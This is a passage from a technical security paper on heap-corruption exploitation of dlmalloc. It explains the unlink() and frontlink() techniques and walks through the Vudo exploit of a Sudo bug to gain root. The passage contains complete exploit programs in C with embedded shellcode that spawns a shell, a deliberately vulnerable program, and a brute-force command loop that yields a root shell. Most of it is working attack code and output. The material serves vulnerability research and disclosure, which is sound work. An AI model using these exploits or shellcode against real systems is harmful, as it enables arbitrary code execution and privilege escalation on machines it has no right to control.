        /* the special shellcode */
        memcpy( p, shellcode, strlen(shellcode) );
        p += strlen( shellcode );
        /* the padding */
        memset( p, 'B', (680 - 4*4) - (2*4 + strlen(shellcode)) );
        p += ( 680 - 4*4 ) - ( 2*4 + strlen(shellcode) );
        /* the prev_size field of the second chunk */
        *( (size_t *)p ) = (size_t)( DUMMY & ~PREV_INUSE );
        p += 4;
        /* the size field of the second chunk */
        *( (size_t *)p ) = (size_t)( -4 );
        p += 4;
        /* the fd field of the second chunk */
        *( (void **)p ) = (void *)( FUNCTION_POINTER - 12 );
        p += 4;
        /* the bk field of the second chunk */
        *( (void **)p ) = (void *)( CODE_ADDRESS );
        p += 4;
        /* the terminating NUL character */
        *p = '\0';

        /* the execution of the vulnerable program */
        execve( argv[0], argv, NULL );
        return( -1 );
}
EOF

$ make exploit
cc     exploit.c   -o exploit

$ ./exploit
bash$

------[ 3.6.2 - The frontlink() technique ]-----------------------------

--------[ 3.6.2.1 - Concept ]-------------------------------------------

Alternatively an attacker can exploit the frontlink() macro in order
to abuse programs which mistakenly manage the heap. The frontlink()
technique is less flexible and more difficult to implement than the
unlink() technique, however it may be an interesting option since its
preconditions are different. Although no exploit is known to apply this
frontlink() technique in the wild, a proof of concept is presented in
3.6.2.2, and it was one of the possible techniques against the Sudo
vulnerability.

#define frontlink( A, P, S, IDX, BK, FD ) {            \
    if ( S < MAX_SMALLBIN_SIZE ) {                     \
        IDX = smallbin_index( S );                     \
        mark_binblock( A, IDX );                       \
        BK = bin_at( A, IDX );                         \
        FD = BK->fd;                                   \
        P->bk = BK;                                    \
        P->fd = FD;                                    \
        FD->bk = BK->fd = P;                           \
[1] } else {                                           \
        IDX = bin_index( S );                          \
        BK = bin_at( A, IDX );                         \
        FD = BK->fd;                                   \
        if ( FD == BK ) {                              \
            mark_binblock(A, IDX);                     \
        } else {                                       \
[2]         while ( FD != BK && S < chunksize(FD) ) {  \
[3]             FD = FD->fd;                           \
            }                                          \
[4]         BK = FD->bk;                               \
        }                                              \
        P->bk = BK;                                    \
        P->fd = FD;                                    \
[5]     FD->bk = BK->fd = P;                           \
    }                                                  \
}

If the free chunk P processed by frontlink() is not a small chunk,
the code at line[1] is executed, and the proper doubly-linked list of
free chunks is traversed (at line[2]) until the place where P should
be inserted is found. If the attacker managed to overwrite the forward
pointer of one of the traversed chunks (read at line[3]) with the
address of a carefully crafted fake chunk, they could trick frontlink()
into leaving the loop[2] while FD points to this fake chunk. Next the
back pointer BK of that fake chunk would be read (at line[4]) and the
integer located at BK plus 8 bytes (8 is the offset of the fd field
within a boundary tag) would be overwritten with the address of the
chunk P (at line[5]).

The attacker could store the address of a function pointer (minus 8
bytes of course) in the bk field of the fake chunk, and therefore trick
frontlink() into overwriting (at line[5]) this function pointer with the
address of the chunk P (but unfortunately not with the address of their
choosing). Moreover, the attacker should store valid machine code at
that address since their final purpose is to execute arbitrary code the
next time the function pointed to by the overwritten integer is called.

But the address of the free chunk P corresponds to the beginning of the
associated boundary tag, and therefore to the location of its prev_size
field. So is it really possible to store machine code in prev_size?

- If the heap layout around prev_size evolved between the moment the
frontlink() attack took place and the moment the function pointed to by
the overwritten integer is called, the 4 bytes that were corresponding
to the prev_size field could henceforth correspond to the very middle
of an allocated chunk controlled by the attacker, and could therefore
correspond to the beginning of a classic shellcode.

- But if the heap layout did not evolve, the attacker may still store
valid machine code in the prev_size field of the chunk P. Indeed,
this prev_size field is not used by dlmalloc and could therefore hold
user data (as mentioned in 3.3.3), since the chunk of memory located
immediately before the chunk P is allocated (it would otherwise have
been consolidated with the free chunk P before the evil frontlink()
call).

-- If the content and size of this previous chunk are controlled by
the attacker, they also control the content of the trailing prev_size
field (the prev_size field of the chunk P). Indeed, if the size argument
passed to malloc(3) or realloc(3) is a multiple of 8 bytes minus 4 bytes
(as detailed in 3.3.1), the trailing prev_size field will probably hold
user data, and the attacker can therefore store a jump instruction
there. This jump instruction could, once executed, simply branch to
a classic shellcode located just before the prev_size field. This
technique is used in 3.6.2.2.

-- But even if the content or size of the chunk located before the chunk
P is not controlled by the attacker, they might be able to store valid
machine code in the prev_size field of P. Indeed, if they managed to
store machine code in the 4 bytes corresponding to this prev_size field
before the heap layout around prev_size was fixed (the attacker could
for example allocate a buffer that would cover the prev_size field-to-be
and store machine code there), and if the content of that prev_size
field was not destroyed (for example, a call to malloc(3) with a size
argument of 16 reserves 20 bytes for the caller, and the last 4 bytes
(the trailing prev_size field) are therefore never overwritten by the
caller) at the time the function pointed to by the integer overwritten
during the frontlink() attack is called, the machine code would be
executed and could simply branch to a classic shellcode.

--------[ 3.6.2.2 - Proof of concept ]----------------------------------

The program below is vulnerable to a buffer overflow: although the
attacker cannot overflow (at line[7]) the first buffer allocated
dynamically in the heap (at line[1]) with the content of argv[2] (since
the size of this first buffer is exactly the size of argv[2]), however
they can overflow (at line[9]) the fourth buffer allocated dynamically
in the heap (at line[4]) with the content of argv[1]. The size of the
memory area reserved for the user within the fourth chunk is equal to
668 (request2size(666) - 4) bytes (as calculated in 3.6.1.2), so if the
size of argv[1] is greater than or equal to 676 (668 + 2*4) bytes, the
attacker can overwrite the size and fd fields of the next contiguous
boundary tag.

$ set -o noclobber && cat > vulnerable.c << EOF
#include <stdlib.h>
#include <string.h>

int main( int argc, char * argv[] )
{
        char * first, * second, * third, * fourth, * fifth, * sixth;

/*[1]*/ first = malloc( strlen(argv[2]) + 1 );
/*[2]*/ second = malloc( 1500 );
/*[3]*/ third = malloc( 12 );
/*[4]*/ fourth = malloc( 666 );
/*[5]*/ fifth = malloc( 1508 );
/*[6]*/ sixth = malloc( 12 );
/*[7]*/ strcpy( first, argv[2] );
/*[8]*/ free( fifth );
/*[9]*/ strcpy( fourth, argv[1] );
/*[0]*/ free( second );
        return( 0 );
}
EOF

$ make vulnerable
cc     vulnerable.c   -o vulnerable

$ ./vulnerable `perl -e 'print "B" x 1337'` dummy
Segmentation fault (core dumped)

The six buffers used by this program are allocated dynamically (at
line[1], line[2], line[3], line[4], line[5] and line[6]) during the
step[4] of the malloc(3) algorithm, and the second buffer is therefore
located immediately after the first one, the third one after the second
one, and so on. The attacker can therefore overwrite (at line[9]) the
boundary tag associated with the fifth chunk (allocated at line[5] and
freed at line[8]) since this chunk is located immediately after the
overflowed fourth buffer.

Unfortunately the only call to one of the dlmalloc routines after the
overflow at line[9] is the call to free(3) at line[0]. In order to free
the second buffer, the step[4] of the free(3) algorithm is carried out,
but the unlink() macro is neither called at step[4.1], nor at step[4.2],
since the chunks of memory that border the second chunk (the first and
third chunks) are allocated (and the corrupted boundary tag of the fifth
chunk is not even read during the step[4.1] or step[4.2] of the free(3)
algorithm). Therefore the attacker cannot exploit the unlink() technique
during the free(3) call at line[0], but should exploit the frontlink()
(called at step[4.3] of the free(3) algorithm) technique instead.

Indeed, the fd field of the corrupted boundary tag associated with the
fifth chunk is read (at line[3] in the frontlink() macro) during this
call to frontlink(), since the second chunk should be inserted in the
doubly-linked list of the bin number 79 (as detailed in 3.4.1, because
the effective size of this chunk is equal to 1504 (request2size(1500))),
since the fifth chunk was inserted in this very same doubly-linked list
at line[8] (as detailed in 3.4.1, because the effective size of this
chunk is equal to 1512 (request2size(1508))), and since the second chunk
should be inserted after the fifth chunk in that list (1504 is indeed
less than 1512, and the chunks in each list are maintained in decreasing
sorted order by size, as mentioned in 3.4.2).

The exploit below overflows the fourth buffer and overwrites the fd
field of the fifth chunk with the address of a fake chunk stored in the
environment variables passed to the vulnerable program. The size field
of this fake chunk is set to 0 in order to trick free(3) into leaving
the loop[2] of the frontlink() macro while FD points to that fake chunk,
and in the bk field of the fake chunk is stored the address (minus 8
bytes) of the first function pointer emplacement in the .dtors section:

http://www.synnergy.net/downloads/papers/dtors.txt

This function pointer, overwritten by frontlink() with the address of
the second chunk, is read and executed at the end of the vulnerable
program. Since the attacker can control (via argv[2]) the content and
size of the chunk located immediately before the second chunk (the first
chunk), they can use one of the methods described in 3.6.2.1 in order to
store valid machine code in the prev_size field of the second chunk.

In the exploit below, the size of the second argument passed to the
vulnerable program (argv[2]) is a multiple of 8 bytes minus 4 bytes,
and is greater than or equal to the size of the special shellcode used
by the exploit. The last 4 bytes of this special shellcode (including
the terminating NUL character) are therefore stored in the last 4
bytes of the first buffer (the prev_size field of the second chunk)
and correspond to a jump instruction that simply executes a classic
shellcode stored right before.

Since the size of argv[2] should be equal to a multiple of 8 bytes minus
4 bytes, and since this size should also be greater than or equal to
the size of the special shellcode, the size of argv[2] is simply equal
to ((((sizeof(shellcode) + 4) + 7) & ~7) - 4), which is equivalent to
(request2size(sizeof(shellcode)) - 4). The size of the special shellcode
in the exploit below is equal to 49 bytes, and the size of argv[2] is
therefore equal to 52 (request2size(49) - 4) bytes.

$ objdump -j .dtors -s vulnerable | grep ffffffff
 80495a8 ffffffff 00000000                    ........

$ set -o noclobber && cat > exploit.c << EOF
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define FUNCTION_POINTER ( 0x80495a8 + 4 )

#define VULNERABLE "./vulnerable"
#define FAKE_CHUNK ( (0xc0000000 - 4) - sizeof(VULNERABLE) - (16 + 1) )
#define DUMMY 0xeffaced

char shellcode[] =
        /* the Aleph One shellcode */
        "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
        "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
        "\x80\xe8\xdc\xff\xff\xff/bin/sh"
        /* the jump instruction */
        "\xeb\xd1p";

int main( void )
{
        char * p;
        char argv1[ 676 + 1 ];
        char argv2[ 52 ];
        char fake_chunk[ 16 + 1 ];
        size_t size;
        char ** envp;
        char * argv[] = { VULNERABLE, argv1, argv2, NULL };

        p = argv1;
        /* the padding */
        memset( p, 'B', 676 - 4 );
        p += 676 - 4;
        /* the fd field of the fifth chunk */
        *( (void **)p ) = (void *)( FAKE_CHUNK );
        p += 4;
        /* the terminating NUL character */
        *p = '\0';

        p = argv2;
        /* the padding */
        memset( p, 'B', 52 - sizeof(shellcode) );
        p += 52 - sizeof(shellcode);
        /* the special shellcode */
        memcpy( p, shellcode, sizeof(shellcode) );

        p = fake_chunk;
        /* the prev_size field of the fake chunk */
        *( (size_t *)p ) = (size_t)( DUMMY );
        p += 4;
        /* the size field of the fake chunk */
        *( (size_t *)p ) = (size_t)( 0 );
        p += 4;
        /* the fd field of the fake chunk */
        *( (void **)p ) = (void *)( DUMMY );
        p += 4;
        /* the bk field of the fake chunk */
        *( (void **)p ) = (void *)( FUNCTION_POINTER - 8 );
        p += 4;
        /* the terminating NUL character */
        *p = '\0';

        /* the size of the envp array */
        size = 0;
        for ( p = fake_chunk; p < fake_chunk + (16 + 1); p++ ) {
                if ( *p == '\0' ) {
                        size++;
                }
        }
        size++;

        /* the allocation of the envp array */
        envp = malloc( size * sizeof(char *) );

        /* the content of the envp array */
        size = 0;
        for ( p = fake_chunk; p < fake_chunk + (16+1); p += strlen(p)+1 ) {
                envp[ size++ ] = p;
        }
        envp[ size ] = NULL;

        /* the execution of the vulnerable program */
        execve( argv[0], argv, envp );
        return( -1 );
}
EOF

$ make exploit
cc     exploit.c   -o exploit

$ ./exploit
bash$


--[ 4 - Exploiting the Sudo vulnerability ]-----------------------------

----[ 4.1 - The theory ]------------------------------------------------

In order to exploit the Sudo vulnerability, and as mentioned in 2.4, an
attacker should overwrite a byte of the boundary tag located immediately
after the end of the msg buffer, and should take advantage of this
erroneously overwritten byte before it is restored.

Indeed, the exploit provided in 4.2 tricks do_syslog() into overwriting
(at line[5] in do_syslog()) a byte of the bk pointer associated with
this next contiguous boundary tag, tricks malloc(3) into following (at
step[3] in malloc(3)) this corrupted back pointer to a fake chunk of
memory, and tricks malloc(3) into taking (at step[3.2] in malloc(3))
this fake chunk off its imaginary doubly linked-list. The attacker can
therefore apply the unlink() technique presented in 3.6.1 and eventually
execute arbitrary code as root.

How these successive tricks are actually accomplished is presented below
via a complete, successful, and commented run of the Vudo exploit (the
dlmalloc calls traced below were performed by Sudo, and were obtained
via a special shared library stored in /etc/ld.so.preload):

$ ./vudo 0x002531dc 62595 6866
malloc( 9 ): 0x0805e480;
malloc( 7 ): 0x0805e490;
malloc( 6 ): 0x0805e4a0;
malloc( 5 ): 0x0805e4b0;
malloc( 36 ): 0x0805e4c0;
malloc( 18 ): 0x0805e4e8;
malloc( 14 ): 0x0805e500;
malloc( 10 ): 0x0805e518;
malloc( 5 ): 0x0805e528;
malloc( 19 ): 0x0805e538;
malloc( 3 ): 0x0805e550;
malloc( 62596 ): 0x0805e560;

This 62596 bytes buffer was allocated by the tzset(3) function (called
by Sudo at the beginning of the init_vars() function) and is a simple
copy of the TZ environment variable, whose size was provided by the
attacker via the second argument passed to the Vudo exploit (62596 is
indeed equal to 62595 plus 1, the size of a terminating NUL character).

The usefulness of such a huge dynamically allocated buffer is detailed
later on, but proved to be essential to the Vudo exploit. For example,
this exploit will never work against the Debian operating system since
the tzset(3) function used by Debian does not read the value of the TZ
environment variable when a SUID or SGID program is run.

malloc( 176 ): 0x0806d9e8;
free( 0x0806d9e8 );
malloc( 17 ): 0x0806d9e8;
malloc( 6 ): 0x0806da00;
malloc( 4096 ): 0x0806da10;
malloc( 6 ): 0x0806ea18;
malloc( 1024 ): 0x0806ea28;
malloc( 176 ): 0x0806ee30;
malloc( 8 ): 0x0806eee8;
malloc( 120 ): 0x0806eef8;
malloc( 15 ): 0x0806ef78;
malloc( 38 ): 0x0806ef90;
malloc( 40 ): 0x0806efc0;
malloc( 36 ): 0x0806eff0;
malloc( 15 ): 0x0806f018;
malloc( 38 ): 0x0806f030;
malloc( 40 ): 0x0806f060;
malloc( 36 ): 0x0806f090;
malloc( 14 ): 0x0806f0b8;
malloc( 38 ): 0x0806f0d0;
malloc( 40 ): 0x0806f100;
malloc( 36 ): 0x0806f130;
malloc( 14 ): 0x0806f158;
malloc( 38 ): 0x0806f170;
malloc( 40 ): 0x0806f1a0;
malloc( 36 ): 0x0806f1d0;
malloc( 36 ): 0x0806f1f8;
malloc( 19 ): 0x0806f220;
malloc( 40 ): 0x0806f238;
malloc( 38 ): 0x0806f268;
malloc( 15 ): 0x0806f298;
malloc( 38 ): 0x0806f2b0;
malloc( 17 ): 0x0806f2e0;
malloc( 38 ): 0x0806f2f8;
malloc( 17 ): 0x0806f328;
malloc( 38 ): 0x0806f340;
malloc( 18 ): 0x0806f370;
malloc( 38 ): 0x0806f388;
malloc( 12 ): 0x0806f3b8;
malloc( 38 ): 0x0806f3c8;
malloc( 17 ): 0x0806f3f8;
malloc( 38 ): 0x0806f410;
malloc( 17 ): 0x0806f440;
malloc( 40 ): 0x0806f458;
malloc( 18 ): 0x0806f488;
malloc( 40 ): 0x0806f4a0;
malloc( 18 ): 0x0806f4d0;
malloc( 38 ): 0x0806f4e8;
malloc( 40 ): 0x0806f518;
malloc( 16 ): 0x0806f548;
malloc( 38 ): 0x0806f560;
malloc( 40 ): 0x0806f590;
free( 0x0806eef8 );
free( 0x0806ee30 );
malloc( 16 ): 0x0806eef8;
malloc( 8 ): 0x0806ef10;
malloc( 12 ): 0x0806ef20;
malloc( 23 ): 0x0806ef30;
calloc( 556, 1 ): 0x0806f5c0;
malloc( 26 ): 0x0806ef50;
malloc( 23 ): 0x0806ee30;
malloc( 12 ): 0x0806ee50;
calloc( 7, 16 ): 0x0806ee60;
malloc( 176 ): 0x0806f7f0;
free( 0x0806f7f0 );
malloc( 28 ): 0x0806f7f0;
malloc( 5 ): 0x0806eed8;
malloc( 11 ): 0x0806f810;
malloc( 4095 ): 0x0806f820;

This 4095 bytes buffer was allocated by the sudo_getpwuid() function,
and is a simple copy of the SHELL environment variable provided by the
Vudo exploit. Since Sudo was called with the -s option (the usefulness
of this option is detailed subsequently), the size of the SHELL
environment variable (including the trailing NUL character) cannot
exceed 4095 bytes because of a check performed at the beginning of the
find_path() function called by Sudo.

The SHELL environment variable constructed by the exploit is exclusively
composed of pointers indicating a single location on the stack, whose
address does not contain any NUL byte (0xbfffff1e in this case). The
reasons behind the choice of this particular address are exposed below.

malloc( 1024 ): 0x08070828;
malloc( 16 ): 0x08070c30;
malloc( 8 ): 0x08070c48;
malloc( 176 ): 0x08070c58;
free( 0x08070c58 );
malloc( 35 ): 0x08070c58;

The next series of dlmalloc calls is performed by the load_interfaces()
function, and is one of the keys to a successful exploitation of the
Sudo vulnerability:

malloc( 8200 ): 0x08070c80;
malloc( 16 ): 0x08072c90;
realloc( 0x08072c90, 8 ): 0x08072c90;
free( 0x08070c80 );

The 8200 bytes buffer and the 16 bytes buffer were allocated during
the step[4] in malloc(3), and the latter (even once reallocated) was
therefore stored immediately after the former. Moreover, a hole was
created in the heap since the 8200 bytes buffer was freed during the
step[4.3] of the free(3) algorithm.

malloc( 2004 ): 0x08070c80;
malloc( 176 ): 0x08071458;
malloc( 4339 ): 0x08071510;

The 2004 bytes buffer was allocated by the init_vars() function (because
Sudo was called with the -s option) in order to hold pointers to the
command and arguments to be executed by Sudo (provided by the Vudo
exploit). This buffer was stored at the beginning of the previously
freed 8200 bytes buffer, during the step[3.1] in malloc(3).

The 176 and 4339 bytes buffers were allocated during the step[2.1] in
malloc(3), and stored immediately after the end of the 2004 bytes buffer
allocated above (the 4339 bytes buffer was created in order to hold the
command and arguments to be executed by Sudo (provided by the exploit)).

The next series of dlmalloc calls is performed by the setenv(3) function
in order to create the SUDO_COMMAND environment variable:

realloc( 0x00000000, 27468 ): 0x08072ca8;
malloc( 4352 ): 0x080797f8;
malloc( 16 ): 0x08072608;

The 27468 bytes buffer was allocated by setenv(3) in order to hold
pointers to the environment variables passed to Sudo by the exploit
(the number of environment variables passed to Sudo was provided by the
attacker (the third argument passed to the Vudo exploit)). Because of
the considerable size of this buffer, it was allocated at step[4] in
malloc(3), after the end of the 8 bytes buffer located immediately after
the remainder of the 8200 bytes hole.

The 4352 bytes buffer, the SUDO_COMMAND environment variable (whose size
is equal to the size of the previously allocated 4339 bytes buffer,
plus the size of the SUDO_COMMAND= prefix), was allocated at step[4] in
malloc(3), and was therefore stored immediately after the end of the
27468 bytes buffer allocated above.

The 16 bytes buffer was allocated at step[3.1] in malloc(3), and is
therefore located immediately after the end of the 4339 bytes buffer, in
the remainder of the 8200 bytes hole.

free( 0x08071510 );

The 4339 bytes buffer was freed, at step[4.3] in free(3), and therefore
created a hole in the heap (the allocated buffer stored before this
hole is the 176 bytes buffer whose address is 0x08071458, the allocated
buffer stored after this hole is the 16 bytes buffer whose address is
0x08072608).

The next series of dlmalloc calls is performed by the setenv(3) function
in order to create the SUDO_USER environment variable:

realloc( 0x08072ca8, 27472 ): 0x0807a900;
malloc( 15 ): 0x08072620;
malloc( 16 ): 0x08072638;

The previously allocated 27468 bytes buffer was reallocated for
additional space, but since it could not be extended (a too small free
chunk was stored before (the remainder of the 8200 bytes hole) and an
allocated chunk was stored after (the 4352 bytes buffer)), it was freed
at step[5.4.2] in realloc(3) (a new hole was therefore created in the
heap) and another chunk was allocated at step[5.4] in realloc(3).

The 15 bytes buffer was allocated, during the step[3.1] in malloc(3),
after the end of the 16 bytes buffer allocated above (whose address is
equal to 0x08072608).

The 16 bytes buffer was allocated, during the step[2.1] in malloc(3),
after the end of the 15 bytes buffer allocated above (whose address is
0x08072620).

The next series of dlmalloc calls is performed by the setenv(3) function
in order to create the SUDO_UID and SUDO_GID environment variables:

realloc( 0x0807a900, 27476 ): 0x0807a900;
malloc( 13 ): 0x08072650;
malloc( 16 ): 0x08072668;
realloc( 0x0807a900, 27480 ): 0x0807a900;
malloc( 13 ): 0x08072680;
malloc( 16 ): 0x08072698;

The 13, 16, 13 and 16 bytes buffers were allocated after the end of
the 16 bytes buffer allocated above (whose address is 0x08072638), in
the remainder of the 8200 bytes hole. The address of the resulting
`last_remainder' chunk, the free chunk stored after the end of the
0x08072698 buffer and before the 0x08072c90 buffer, is equal to
0x080726a8 (mem2chunk(0x08072698) + request2size(16)), and its effective
size is equal to 1504 (mem2chunk(0x08072c90) - 0x080726a8) bytes.

The next series of dlmalloc calls is performed by the setenv(3) function
in order to create the PS1 environment variable:

realloc( 0x0807a900, 27484 ): 0x0807a900;
malloc( 1756 ): 0x08071510;
malloc( 16 ): 0x08071bf0;

The 1756 bytes buffer was allocated (during the step[3.1] in malloc(3))
in order to hold the PS1 environment variable (whose size was computed
by the Vudo exploit), and was stored at the beginning of the 4339 bytes
hole created above.

The remainder of this hole therefore became the new `last_remainder'
chunk, and the old `last_remainder' chunk, whose effective size is equal
to 1504 bytes, was therefore placed in its doubly-linked list (the list
associated with the bin number 79) during the step[2.2.2] in malloc(3).

The 16 bytes buffer was allocated during the step[2.1] in malloc(3), in
the remainder of the 4339 bytes hole.

malloc( 640 ): 0x08071c08;
malloc( 400 ): 0x08071e90;

The 640 and 400 bytes buffers were also allocated, during the step[2.1]
in malloc(3), in the remainder of the 4339 bytes hole.

malloc( 1600 ): 0x08072ca8;

This 1600 bytes buffer, allocated at step[3.1] in malloc(3), was stored
at the beginning of the 27468 bytes hole created above. The remainder of
this huge hole therefore became the new `last_remainder' chunk, and the
old `last_remainder' chunk, the remainder of the 4339 bytes hole, was
placed in its bin at step[2.2.2] in malloc(3).

Since the effective size of this old `last_remainder' chunk is equal
to 1504 (request2size(4339) - request2size(1756) - request2size(16)
- request2size(640) - request2size(400)) bytes, it was placed in the
bin number 79 by frontlink(), in front of the 1504 bytes chunk already
inserted in this bin as described above.

The address of that old `last_remainder' chunk, 0x08072020
(mem2chunk(0x08071e90) + request2size(400)), contains two SPACE
characters, needed by the Vudo exploit in order to successfully exploit
the Sudo vulnerability, as detailed below. This very special address was
obtained thanks to the huge TZ environment variable mentioned above.

malloc( 40 ): 0x080732f0;
malloc( 16386 ): 0x08073320;
malloc( 13 ): 0x08077328;
free( 0x08077328 );
malloc( 5 ): 0x08077328;
free( 0x08077328 );
malloc( 6 ): 0x08077328;
free( 0x08071458 );
malloc( 100 ): 0x08077338;
realloc( 0x08077338, 19 ): 0x08077338;
malloc( 100 ): 0x08077350;
realloc( 0x08077350, 21 ): 0x08077350;
free( 0x08077338 );
free( 0x08077350 );

All these buffers were allocated, during the step[2.1] in malloc(3), in
the remainder of the 27468 bytes hole created above.

The next series of dlmalloc calls is performed by easprintf(), a wrapper
to vasprintf(3), in order to allocate space for the msg buffer:

malloc( 100 ): 0x08077338;
malloc( 300 ): 0x080773a0;
free( 0x08077338 );
malloc( 700 ): 0x080774d0;
free( 0x080773a0 );
malloc( 1500 ): 0x080726b0;
free( 0x080774d0 );
malloc( 3100 ): 0x08077338;
free( 0x080726b0 );
malloc( 6300 ): 0x08077f58;
free( 0x08077338 );
realloc( 0x08077f58, 4795 ): 0x08077f58;

In order to allocate the 1500 bytes buffer, whose effective size is
equal to 1504 (request2size(1500)) bytes, malloc(3) carried out the
step[1.2] and returned (at step[1.2.2]) the last chunk in the bin number
79, and therefore left the 0x08072020 chunk alone in this bin.

But once unused, this 1500 bytes buffer was placed back in the bin
number 79 by free(3), at step[4.3], in front of the 0x08072020 chunk
already stored in this bin.

The 6300 bytes buffer was allocated during the step[2.2.1] in malloc(3).
Indeed, the size of the 27468 bytes hole was carefully chosen by the
attacker (via the third argument passed to the Vudo exploit) so that,
once allocated, the 6300 bytes buffer would fill this hole.

Finally, the 6300 bytes buffer was reallocated for less space, during
the step[4.1] of the realloc(3) algorithm. The reallocated buffer was
created in order to hold the msg buffer, and the free chunk processed by
chunk_free() during the step[4.1] of the realloc(3) algorithm was placed
in its doubly-linked list. Since the effective size of this free chunk
is equal to 1504 (request2size(6300) - request2size(4795)) bytes, it was
placed in the bin number 79, in front of the two free chunks already
stored in this bin.

The next series of dlmalloc calls is performed by the first call to
syslog(3), during the execution of the do_syslog() function:

malloc( 192 ): 0x08072028;
malloc( 8192 ): 0x08081460;
realloc( 0x08081460, 997 ): 0x08081460;
free( 0x08072028 );
free( 0x08081460 );

The 192 bytes buffer was allocated during the step[3.1] of the malloc(3)
algorithm, and the processed chunk was the last chunk in the bin number
79 (the 0x08072020 chunk).

Once unused, the 192 bytes buffer was consolidated (at step[4.2] in
free(3)) with the remainder of the previously split 1504 bytes chunk,
and the resulting coalesced chunk was placed back (at step[4.3] in
free(3)) in the bin number 79, in front of the two free chunks already
stored in this bin.

The bk field of the chunk of memory located immediately after the msg
buffer was therefore overwritten by unlink() in order to point to the
chunk 0x08072020.

The next series of dlmalloc calls is performed by the second call to
syslog(3), during the execution of the do_syslog() function:

malloc( 192 ): 0x080726b0;
malloc( 8192 ): 0x08081460;
realloc( 0x08081460, 1018 ): 0x08081460;
free( 0x080726b0 );
free( 0x08081460 );

The 192 bytes buffer was allocated during the step[3.1] of the malloc(3)
algorithm, and the processed chunk was the last chunk in the bin number
79 (the 0x080726a8 chunk).

The bk field of the bin number 79 (the pointer to the last free chunk in
the associated doubly-linked list) was therefore overwritten by unlink()
with a pointer to the chunk of memory located immediately after the end
of the msg buffer.

Once unused, the 192 bytes buffer was consolidated (at step[4.2] in
free(3)) with the remainder of the previously split 1504 bytes chunk,
and the resulting coalesced chunk was placed back (at step[4.3] in
free(3)) in the bin number 79, in front of the two free chunks already
stored in this bin.

As soon as this second call to syslog(3) was completed, the loop[7] of
the do_syslog() function pushed the pointer p after the terminating NUL
character associated with the msg buffer, until p pointed to the first
SPACE character encountered. This first encountered SPACE character was
of course the least significant byte of the bk field (still equal to
0x08072020) associated with the chunk located immediately after msg.

The do_syslog() function successfully passed the test[2] since no NUL
byte was found between p and (p + MAXSYSLOGLEN) (indeed, this memory
area is filled with the content of the previously allocated and freed
27468 bytes buffer: pointers to the environment variables passed to Sudo
by the exploit, and these environment variables were constructed by the
exploit in order to avoid NUL and SPACE characters in their addresses).

The byte overwritten with a NUL byte at line[5] in do_syslog() is the
first encountered SPACE character when looping from (p + MAXSYSLOGLEN)
down to p. Of course, this first encountered SPACE character was the
second byte of the bk field (equal to 0x08072020) associated with the
chunk located immediately after msg, since no other SPACE character
could be found in the memory area between p and (p + MAXSYSLOGLEN), as
detailed above.

The bk field of the chunk located immediately after msg was therefore
corrupted (its new value is equal to 0x08070020), in order to point to
the very middle of the copy the SHELL environment variable mentioned
above, before the next series of dlmalloc calls, performed by the third
call to syslog(3), were carried out:

malloc( 192 ): 0x08079218;
malloc( 8192 ): 0x08081460;
realloc( 0x08081460, 90 ): 0x08081460;
free( 0x08079218 );
free( 0x08081460 );

The 192 bytes buffer was allocated during the step[3.1] of the malloc(3)
algorithm, and the processed chunk was the last chunk in the bin number
79 (the chunk located immediately after msg).

The bk field of the bin number 79 (the pointer to the last free chunk in
the associated doubly-linked list) was therefore overwritten by unlink()
with the corrupted bk field of the chunk located immediately after msg.

Once unused, the 192 bytes buffer was consolidated (at step[4.2] in
free(3)) with the remainder of the previously split 1504 bytes chunk,
and the resulting coalesced chunk was placed back (at step[4.3] in
free(3)) in the bin number 79, in front of the two free chunks already
stored in this bin (but one of these two chunks is of course a fake
chunk pointed to by the corrupted bk field 0x08070020).

Before the next series of dlmalloc calls is performed, by the fourth
call to syslog(3), the erroneously overwritten SPACE character was
restored at line[6] by do_syslog(), but since the corrupted bk pointer
was copied to the bk field of the bin number 79 before, the Vudo exploit
managed to permanently damage the internal structures used by dlmalloc:

malloc( 192 ): 0xbfffff1e;
malloc( 8192 ): 

In order to allocate the 192 bytes buffer, the step[1.2] of the
malloc(3) algorithm was carried out, and an imaginary chunk of memory,
pointed to by the corrupted bk field, stored in the very middle of the
copy of the SHELL environment variable, was processed. But since this
fake chunk was too small (indeed, its size field is equal to 0xbfffff1e,
a negative integer), its bk field (equal to 0xbfffff1e) was followed, to
another fake chunk of memory stored on the stack, whose size is exactly
200 (request2size(192)) bytes.

This fake chunk was therefore taken off its imaginary doubly-linked
list, allowing the attacker to apply the unlink() technique described in
3.6.1 and to overwrite the __malloc_hook debugging hook with the address
of a special shellcode stored somewhere in the heap (in order to bypass
the Linux kernel patch from the Openwall Project).

This shellcode was subsequently executed, at the beginning of the last
call to malloc(3), since the corrupted __malloc_hook debugging hook was
read and executed.

----[ 4.2 - The practice ]----------------------------------------------

In order to successfully gain root privileges via the Vudo exploit, a
user does not necessarily need to be present in the sudoers file, but
has to know their user password. They need additionally to provide three
command line arguments:

- the address of the __malloc_hook function pointer, which varies from
one system to another but can be determined;

- the size of the tz buffer, which varies slightly from one system to
another and has to be brute forced;

- the size of the envp buffer, which varies slightly from one system to
another and has to be brute forced.

A typical Vudo cult^H^H^H^Hsession starts with an authentication step,
a __malloc_hook computation step, and eventually a brute force step,
based on the tz and envp examples provided by the Vudo usage message
(fortunately the user does not need to provide their password each time
Sudo is executed during the brute force step because they authenticated
right before):

$ /usr/bin/sudo www.MasterSecuritY.fr
Password:
maxx is not in the sudoers file.  This incident will be reported.

$ LD_TRACE_LOADED_OBJECTS=1 /usr/bin/sudo | grep /lib/libc.so.6
        libc.so.6 => /lib/libc.so.6 (0x00161000)
$ nm /lib/libc.so.6 | grep __malloc_hook
000ef1dc W __malloc_hook
$ perl -e 'printf "0x%08x\n", 0x00161000 + 0x000ef1dc'
0x002501dc

$ for tz in `seq 62587 8 65531`
do
for envp in `seq 6862 2 6874`
do
./vudo 0x002501dc $tz $envp
done
done
maxx is not in the sudoers file.  This incident will be reported.
maxx is not in the sudoers file.  This incident will be reported.
maxx is not in the sudoers file.  This incident will be reported.
maxx is not in the sudoers file.  This incident will be reported.
maxx is not in the sudoers file.  This incident will be reported.
maxx is not in the sudoers file.  This incident will be reported.
maxx is not in the sudoers file.  This incident will be reported.
maxx is not in the sudoers file.  This incident will be reported.
maxx is not in the sudoers file.  This incident will be reported.
maxx is not in the sudoers file.  This incident will be reported.
bash#

